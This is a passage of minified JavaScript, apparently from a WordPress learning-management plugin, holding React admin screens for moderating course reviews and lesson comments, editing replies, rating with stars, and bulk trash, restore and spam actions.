wrong","learning-management-system"),status:"error",isClosable:!0})}})),G=(0,wt.n)(Jv({mutationFn:e=>F.update(e.id,e)},{onSuccess:e=>{var t;j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),b({title:(0,E.sprintf)(/* translators: %s: re name */ /* translators: %s: re name */ -(0,E.__)("course"===z?"Review %s":"Lesson Comment %s","learning-management-system"),(t=e.status,t===aA.spam?"has been marked as spam.":"has been marked as hold.")),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),H=(0,wt.n)(Jv({mutationFn:e=>F.restore(e)},{onSuccess:()=>{j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),b({title:(0,E.__)("course"===z?"Review Restored":"Lesson Comment Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),J=(e,t)=>{G.mutate(ne(ee(e,{status:t})))},X={delete:(0,wt.n)(Jv({mutationFn:e=>F.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),Q([]),b({title:(0,E.__)("course"===z?"Reviews Deleted":"Lesson Comments Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),trash:(0,wt.n)(Jv({mutationFn:e=>F.bulkDelete("delete",{ids:e})},{onSuccess(){j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),Q([]),b({title:(0,E.__)("course"===z?"Reviews Trashed":"Lesson Comments Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),restore:(0,wt.n)(Jv({mutationFn:e=>F.bulkRestore("restore",{ids:e})},{onSuccess(){j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),Q([]),b({title:(0,E.__)("course"===z?"Reviews Restored":"Lesson Comments Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(Yn,{tabs:U,defaultActive:"all",onTabChange:e=>{I(e),C(ee(w,{status:e})),Q([]),_("")},counts:null===(t=W.data)||void 0===t||null===(t=t.meta)||void 0===t?void 0:t.reviews_count,isCounting:W.isLoading})))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(Nv,{setFilterParams:C,filterParams:w,reviewType:z,setReviewType:q}),l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(_n.XI,null,W.isLoading||!W.isFetched?"course"===z?l().createElement(Id,null):l().createElement(Od,null):W.isSuccess&&$(null==W||null===(n=W.data)||void 0===n?void 0:n.data)?l().createElement(Mn,{title:"course"===z?(0,E.__)("No Reviews Yet","learning-management-system"):(0,E.__)("No Comments Yet","learning-management-system")}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,"course"===z?l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:W.isLoading||W.isFetching||W.isRefetching,isIndeterminate:(null==W||null===(r=W.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)!==k.length&&k.length>0,isChecked:(null==W||null===(i=W.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.length)===k.length&&!$(null==W||null===(o=W.data)||void 0===o?void 0:o.data),onChange:e=>{var t;return Q(e.target.checked?null==W||null===(t=W.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Title","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Course Review","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Replies","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Date","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system"))):l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:W.isLoading||W.isFetching||W.isRefetching,isIndeterminate:(null==W||null===(m=W.data)||void 0===m||null===(m=m.data)||void 0===m?void 0:m.length)!==k.length&&k.length>0,isChecked:(null==W||null===(c=W.data)||void 0===c||null===(c=c.data)||void 0===c?void 0:c.length)===k.length&&!$(null==W||null===(u=W.data)||void 0===u?void 0:u.data),onChange:e=>{var t;return Q(e.target.checked?null==W||null===(t=W.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Comment","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Course","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Lesson","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Replies","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Date","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==W||null===(g=W.data)||void 0===g||null===(g=g.data)||void 0===g?void 0:g.map((e=>{var t;return l().createElement(Gv,{reviewType:z,id:e.id,key:e.id,title:e.title,author:{id:null==e?void 0:e.author_id,display_name:null==e?void 0:e.author_name,avatar_url:null==e?void 0:e.author_avatar_url},description:e.description,lesson:null==e?void 0:e.lesson,replies_count:e.replies_count,course:null==e||null===(t=e.course)||void 0===t?void 0:t.name,rating:null==e?void 0:e.rating,status:null==e?void 0:e.status,createdAt:null==e?void 0:e.date_created,isNew:null==e?void 0:e.is_new,onDeletePress:()=>{return t=null==e?void 0:e.id,L(),_(""),void S(t);var t},onTrashPress:()=>{var t;(t=null==e?void 0:e.id)&&N.mutate(t)},onRestorePress:()=>{var t;(t=null==e?void 0:e.id)&&H.mutate(t)},onSpamPress:()=>J(e,aA.spam),onUnSpamPress:()=>J(e,aA.hold),setBulkIds:Q,bulkIds:k,isLoading:W.isLoading||W.isFetching||W.isRefetching})})))))))),W.isSuccess&&!$(null==W||null===(A=W.data)||void 0===A?void 0:A.data)&&l().createElement(ba,{metaData:null==W||null===(p=W.data)||void 0===p?void 0:p.meta,setFilterParams:C,perPageText:"course"===z?(0,E.__)("Reviews Per Page:","learning-management-system"):(0,E.__)("Comments Per Page:","learning-management-system"),extraFilterParams:{search:null==w?void 0:w.search,course:null==w?void 0:w.course,user:null==w?void 0:w.user,status:null==w?void 0:w.status,parent:0}})),l().createElement(ta,{openToast:L,status:B,setBulkAction:_,bulkIds:k,setBulkIds:Q,trashable:!0}),l().createElement(qn,{isOpen:M,onClose:V,confirmButtonColorScheme:"restore"===D?"primary":void 0,onConfirm:""===D?()=>{x&&K.mutate(x)}:()=>{X[D].mutate(k)},action:D,isLoading:""===D?K.isPending:null!==(y=null==X||null===(v=X[D])||void 0===v?void 0:v.isLoading)&&void 0!==y&&y,dialogTexts:{default:{header:(0,E.__)("Deleting Review","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},trash:{header:(0,E.__)("Moving reviews to trash","learning-management-system"),body:(0,E.__)("Are you sure? The selected reviews will be moved to trash.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Reviews","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")},restore:{header:(0,E.__)("Restoring Reviews","learning-management-system"),body:(0,E.__)("Are you sure? The selected reviews will be restored from the trash.","learning-management-system"),confirm:(0,E.__)("Restore","learning-management-system")}}}))};const Yv=()=>{var e=(0,vt.zy)(),t=new URLSearchParams(e.search).get("reviewType");return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.reviews.list,_activeLink:on},(0,E.__)("Update"+"".concat("course"===t?" Review":" Comment"),"learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.reviews.list},l().createElement(Dl,null))),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(d.B,{direction:"row",spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{display:"flex",direction:"column",spacing:"4"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",direction:"column",spacing:"4"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"100px"})),l().createElement(d.B,{display:"flex",direction:"row",spacing:"6"},l().createElement(d.B,{display:"flex",direction:"column",flex:"50%"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",direction:"column",flex:"50%"},l().createElement(Ba.r,{noOfLines:1,width:"40px"}),l().createElement(St.E,{height:"40px"}))))))))))};const Zv=e=>{var t,{type:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Fa,{isInvalid:!(null==r||!r.title)},l().createElement(Ge.l,null,"mto_course_review"===n?(0,E.__)("Review Content","learning-management-system"):(0,E.__)("Lesson Comment","learning-management-system")),l().createElement(He.T,(0,Re.A)({placeholder:(0,E.__)("Your Comments","learning-management-system")},a("content",{required:(0,E.__)("You must provide a content for the review.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r?void 0:r.content)&&(null==r||null===(t=r.content)||void 0===t?void 0:t.message)))};var $v=e=>{var t,n,{defaultValue:a}=e,r=new mt(rt.courses),{register:i,formState:{errors:o},setValue:s}=(0,Je.xW)(),m=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>r.list({order_by:"name",order:"asc",per_page:5})});return l().createElement(Fa,{isInvalid:!(null==o||!o.course_id),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(Co,(0,Re.A)({},i("course_id",{required:(0,E.__)("Course must be selected","learning-management-system")}),{placeholder:(0,E.__)("Select Course","learning-management-system"),defaultValue:a,isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):m.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},onChange:e=>{s("course_id",null==e?void 0:e.value.toString(),{shouldDirty:!0})},defaultOptions:m.isSuccess?null==m||null===(t=m.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.name," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.name,")")}))):[],loadOptions:(e,t)=>{if($(e))return t([]);r.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(ui.Wt,null,(null==o?void 0:o.course_id)&&(null==o||null===(n=o.course_id)||void 0===n?void 0:n.message)))};$v.defaultProps={defaultValue:null};const ef=$v;const tf=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"m8.482 8.21-7.024.78a.67.67 0 0 0-.561.457.66.66 0 0 0 .187.694A5307 5307 0 0 0 6.309 14.9c-.003 0-.861 4.15-1.432 6.92a.662.662 0 0 0 .979.712c2.458-1.397 6.14-3.499 6.14-3.499s3.685 2.102 6.14 3.5a.67.67 0 0 0 .72-.038.67.67 0 0 0 .26-.674c-.57-2.77-1.427-6.921-1.427-6.921s3.137-2.853 5.225-4.755a.67.67 0 0 0 .187-.698.67.67 0 0 0-.56-.455c-2.81-.315-7.026-.781-7.026-.781l-2.91-6.44a.67.67 0 0 0-.608-.392c-.27 0-.5.162-.604.392-1.166 2.576-2.91 6.44-2.91 6.44Z"}));var nf=["onClick","fill","hovered","onMouseEnter","onMouseLeave","hoverColor","filledColor","unfilledColor"];const af=e=>{var{onClick:t,fill:n,hovered:a=!1,onMouseEnter:r,onMouseLeave:i,hoverColor:o="#f6ad55",filledColor:s="currentColor",unfilledColor:m="cloud-gray"}=e,c=(0,q.A)(e,nf),u=a?o:n?s:m;return l().createElement($e.I,(0,Re.A)({as:tf,w:6,h:6,onClick:t,onMouseEnter:r,onMouseLeave:i,fill:u,cursor:"pointer",_hover:void 0},c))};const lf=e=>{for(var t,{formLabel:n}=e,{register:r,formState:{errors:i},setValue:o,watch:s}=(0,Je.xW)(),m=s("rating"),[c,u]=(0,a.useState)(null),g=[],A=function(e){var t=e<=m,n=null!==c&&e<=c;g.push(l().createElement(af,{key:e,onClick:()=>{return t=e,void(isNaN(t)||o("rating",1===m&&1===t?0:t,{shouldDirty:!0}));var t},fill:t,hovered:n,onMouseEnter:()=>u(e),onMouseLeave:()=>u(null)}))},p=1;p<=5;p++)A(p);return l().createElement(Fa,{isInvalid:!(null==i||!i.title)},!n&&l().createElement(Ge.l,null,(0,E.__)("Review Rating","learning-management-system")),l().createElement(d.B,{direction:"row",width:"100%",spacing:"0",color:"orange.300",cursor:"pointer",gap:"2.5"},l().createElement("input",(0,Re.A)({type:"hidden"},r("rating"))),g),l().createElement(ui.Wt,null,(null==i?void 0:i.rating)&&(null==i||null===(t=i.rating)||void 0===t?void 0:t.message)))};var rf=[{label:(0,E.__)("Approve","learning-management-system"),value:"approve"},{label:(0,E.__)("On Hold","learning-management-system"),value:"hold"},{label:(0,E.__)("Spam","learning-management-system"),value:"spam"},{label:(0,E.__)("Trash","learning-management-system"),value:"trash"}];const of=()=>{var{register:e,formState:{errors:t}}=(0,Je.xW)();return l().createElement(Fa,{isInvalid:!(null==t||!t.status),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Status","learning-management-system")),l().createElement(aa.l,e("status"),rf.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label)))))};const sf=()=>{var{register:e}=(0,Je.xW)();return l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Review Title","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"text",placeholder:(0,E.__)("Your Review Title","learning-management-system")},e("title"))))};function mf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function cf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const uf=e=>{var{reply:{id:t,author_email:n,description:a,date_created:r,status:i="approve",type:o}}=e,m=i===aA.approve?{color:"green",text:"Approved"}:i===aA.hold?{color:"orange",text:"On Hold"}:i===aA.spam?{color:"pink",text:"Spam"}:{color:"red",text:"Trash"},c=l().useRef(),{onClose:u,isOpen:y,onOpen:v}=(0,Ue.j)(),h=new mt("mto_course_review"===o?rt.reviews:rt.lessonReviews),b=(0,s.jE)(),C=(0,We.d)(),[S,B]=l().useState(!1),{handleSubmit:I,register:O,formState:{errors:P,isDirty:D},reset:_,getValues:k}=(0,Je.mN)({defaultValues:{content:a,status:i}}),Q=(0,wt.n)(cf({mutationFn:()=>h.delete(t,{force:!0,children:!0})},{onSuccess:()=>{b.invalidateQueries({queryKey:["reviewList"]}),C({title:(0,E.__)("Reply Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{C({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),z=(0,wt.n)(cf({mutationFn:e=>h.update(e.id,e)},{onSuccess:()=>{_(k()),B(!1),C({title:(0,E.__)("Review Reply updated","learning-management-system"),isClosable:!0,status:"success"}),b.invalidateQueries({queryKey:["reviewList"]})},onError:e=>{var t;C({description:"".concat(null==e||null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}));return Ca(D),l().createElement(l().Fragment,null,l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"3"},l().createElement(Oa.e,{size:"xs"}),l().createElement(g.E,null,n))),l().createElement(_n.Td,{width:"46%"},l().createElement($n.m,{label:a},l().createElement(g.E,{width:"fit-content",isTruncated:!1,noOfLines:1},a))),l().createElement(_n.Td,null,l().createElement(Jt.E,{colorScheme:m.color},m.text.toUpperCase())),l().createElement(_n.Td,null,ie(r,"m/d/Y, h:i A")),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",leftIcon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),size:"xs",onClick:()=>B(!0)},(0,E.__)("Edit","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>v(),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system")))))),l().createElement(Ke.Lt,{isOpen:y,onClose:u,isCentered:!0,leastDestructiveRef:c},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Deleting Reply","learning-management-system")),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:u,variant:"outline",ref:c},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",isLoading:Q.isPending,onClick:()=>Q.mutate()},(0,E.__)("Delete","learning-management-system")))))))),l().createElement(_n.Tr,null,l().createElement(_n.Td,{colSpan:5},l().createElement(_t.S,{in:S},l().createElement(d.B,{textAlign:"left",direction:"column",spacing:"3"},l().createElement(ke.D,{as:"h4",size:"md"},(0,E.__)("Edit","learning-management-system")),l().createElement("form",{onSubmit:I((t=>{var{content:n,status:a}=t;z.mutate(ne(cf(cf({},e.reply),{},{content:n,status:a})))}))},l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.status),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Status","learning-management-system")),l().createElement(aa.l,(0,Re.A)({},O("status"),{defaultValue:i}),rf.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label))))),l().createElement(Ne.MJ,{isInvalid:!(null==P||!P.content)},l().createElement(Ge.l,null,(0,E.__)("Description","learning-management-system")),l().createElement(He.T,(0,Re.A)({placeholder:(0,E.__)("Your Content","learning-management-system")},O("content",{required:(0,E.__)("You must provide a content for the review.","learning-management-system")}))),l().createElement(ui.Wt,null,P&&P.content&&P.content.message)),l().createElement(Qe.a,{py:"2"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:z.isPending},(0,E.__)("Update Reply","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>B(!1)},(0,E.__)("Cancel","learning-management-system")))))))))};function df(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const gf=e=>{var t,{reviewId:n}=e,{search:r}=(0,vt.zy)(),{page:i}=M.A.parse(r),o=(0,vt.zy)(),s=new URLSearchParams(o.search).get("reviewType"),m=new mt("course"===s?rt.reviews:rt.lessonReviews);(0,a.useEffect)((()=>{var e;"replies"===i&&(null===(e=document.getElementById("reply-table-".concat(n)))||void 0===e||e.scrollIntoView({behavior:"smooth"}))}),[i,n]);var{data:c,isLoading:u,isFetching:d,fetchNextPage:g,isSuccess:A,hasNextPage:y}=(0,sc.q)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?df(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):df(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["reviewList"],queryFn:e=>{var{pageParam:t}=e;return m.list({parent:n,per_page:10,page:t,status:["0","1","trash","spam"]})},initialPageParam:1},{getNextPageParam:e=>{var{meta:t}=e;return t.pages>t.current_page?t.current_page+1:null}}));return l().createElement(Qe.a,{id:"reply-table-".concat(n),bg:"white",py:"8",shadow:"box"},l().createElement(ke.D,{as:"h4",size:"md",ml:"3rem",mb:"4"},(0,E.__)("Replies","learning-management-system")),l().createElement(_n.XI,null,u&&l().createElement(Pd,null),A&&$(null==c||null===(t=c.pages[0])||void 0===t?void 0:t.data)?l().createElement(Mn,{title:(0,E.__)("No Replies Yet","learning-management-system"),minHeight:"20vh"}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Content","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Date","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Action","learning-management-system")))),l().createElement(_n.NN,null,null==c?void 0:c.pages.map((e=>null==e?void 0:e.data.map((e=>l().createElement(uf,{key:e.id,reply:e})))))),y?l().createElement(p.$,{spinner:l().createElement(bt.y,null),spinnerPlacement:"end",isLoading:d,w:"20%",m:"auto",onClick:()=>g(),variant:"outline"},(0,E.__)("Load More","learning-management-system")):null)))};function Af(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var pf=(0,E.__)("%1$s %2$s","learning-management-system");const Ef=e=>{var t,n,a,r,i,{editMode:o,reviewQueryData:m}=e,{reviewId:c}=(0,vt.g)(),u=(0,s.jE)(),A=(0,We.d)(),y=(0,vt.zy)(),f=new URLSearchParams(y.search).get("reviewType"),h=(0,vt.Zp)(),b=(0,Je.mN)({defaultValues:{title:(null==m?void 0:m.title)||"",content:(null==m?void 0:m.description)||"",rating:(null==m?void 0:m.rating)||0,course_id:null==m||null===(t=m.course)||void 0===t?void 0:t.id,status:(null==m?void 0:m.status)||"approve"}}),{handleSubmit:w,formState:{isDirty:C},reset:x,getValues:S}=b;Ca(C);var B=new mt("course"===f?rt.reviews:rt.lessonReviews),I=(0,wt.n)({mutationFn:e=>B.store(e)}),O=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Af(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Af(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:e=>B.update(c,e)},{onSuccess:()=>{x(S()),A({title:(0,E.__)("course"===f?"Review updated":"Lesson Comment updated","learning-management-system"),isClosable:!0,status:"success"}),u.invalidateQueries({queryKey:["review".concat(c),c]})},onError:e=>{var t;A({description:"".concat(null==e||null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),P=o?(0,E.__)("Update","learning-management-system"):(0,E.__)("Create","learning-management-system"),D="mto_course_review"===(null==m?void 0:m.type)?(0,E.__)("Review","learning-management-system"):(0,E.__)("Comment","learning-management-system");return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.reviews.list,_activeLink:on},(0,E.sprintf)(pf,P,D))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.reviews.list+"?reviewType=".concat(f)},l().createElement(Dl,null))),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Je.Op,b,l().createElement("form",{onSubmit:w((e=>{o?O.mutate(ne(e)):I.mutate(ne(e),{onSuccess:e=>{h({pathname:Pt.reviews.edit.replace(":reviewId",e.id.toString())})},onError:e=>{A({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})}))},l().createElement(d.B,{direction:"row",spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},o&&m&&m.is_new&&l().createElement(at,{status:"info"},l().createElement(ft.s,{w:"full",alignItems:"center",gap:"2"},l().createElement(g.E,null,"course"===f?(0,E.__)("You have a new review pending approval. Would you like to approve it?","learning-management-system"):(0,E.__)("You have a new comment pending approval. Would you like to approve it?","learning-management-system")),l().createElement(Tc.h,null),l().createElement(Bt.e,{size:"sm"},l().createElement(p.$,{colorScheme:"primary",onClick:w((e=>{O.mutate(ne(ee(e,{status:aA.approve,is_new:!1})))})),isLoading:null==O?void 0:O.isPending},"course"===f?(0,E.__)("Approve Review","learning-management-system"):(0,E.__)("Approve Comment","learning-management-system")),l().createElement(p.$,{onClick:w((e=>{O.mutate(ne(ee(e,{is_new:!1})))})),isLoading:null==O?void 0:O.isPending},(0,E.__)("Dismiss","learning-management-system"))))),"mto_course_review"===(null==m?void 0:m.type)&&l().createElement(sf,null),l().createElement(Zv,{type:null==m?void 0:m.type}),"mto_course_review"===(null==m?void 0:m.type)?l().createElement(ef,{defaultValue:o&&m?{label:null==m||null===(n=m.course)||void 0===n?void 0:n.name,value:null==m||null===(a=m.course)||void 0===a?void 0:a.id}:null}):l().createElement(l().Fragment,null,l().createElement(Fa,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(g.E,{border:"1px solid black",p:"2",borderColor:"gray.300"},null==m||null===(r=m.course)||void 0===r?void 0:r.name)),l().createElement(Fa,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Lesson","learning-management-system")),l().createElement(g.E,{border:"1px solid black",p:"2",borderColor:"gray.300"},null==m||null===(i=m.lesson)||void 0===i?void 0:i.name))),l().createElement(of,null),"mto_course_review"===(null==m?void 0:m.type)?l().createElement(lf,null):null,l().createElement(Qe.a,{py:"2"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:I.isPending||O.isPending},(0,E.sprintf)(pf,P,D)),l().createElement(p.$,{variant:"outline",onClick:()=>h(Pt.reviews.list)},(0,E.__)("Cancel","learning-management-system"))))))))),l().createElement(gf,{reviewId:c}))))};const yf=()=>{var{reviewId:e}=(0,vt.g)(),t=(0,vt.zy)(),n=new URLSearchParams(t.search).get("reviewType"),r=(0,vt.Zp)(),i=new mt("course"===n?rt.reviews:rt.lessonReviews),o=(0,Pn.I)({queryKey:["review".concat(e),e],queryFn:()=>i.get(e)});return(0,a.useEffect)((()=>{null!=o&&o.isError&&r(Pt.notFound)}),[null==o?void 0:o.isError,r]),o.isSuccess?l().createElement(Ef,{editMode:!0,reviewQueryData:null==o?void 0:o.data}):l().createElement(Yv,null)};var vf="#4E4E4E";const ff=e=>{var t,{setIsGeneralSearchQueryFocused:n,methods:r}=e,{defaultSettings:i,Payments:o,Advanced:s,Integrations:m,selectedSection:c,setCoursesPages:u,coursesPages:g}=Pg(),A=(0,vt.zy)(),p=(0,a.useMemo)((()=>new URLSearchParams(A.search)),[A]),y=(0,a.useMemo)((()=>p.get("first")),[p]),[v]=(0,xt.U)("(max-width: 1200px)"),[f,h]=(0,a.useState)(0),b=(0,vt.Zp)(),w=(0,Je.FH)({name:"course_archive.display.template.layout",defaultValue:(null===(t=i.course_archive)||void 0===t||null===(t=t.display)||void 0===t||null===(t=t.template)||void 0===t?void 0:t.layout)||"default",control:r.control});return(0,a.useEffect)((()=>{y||b("".concat(A.pathname,"?first=general&second=pages"));var 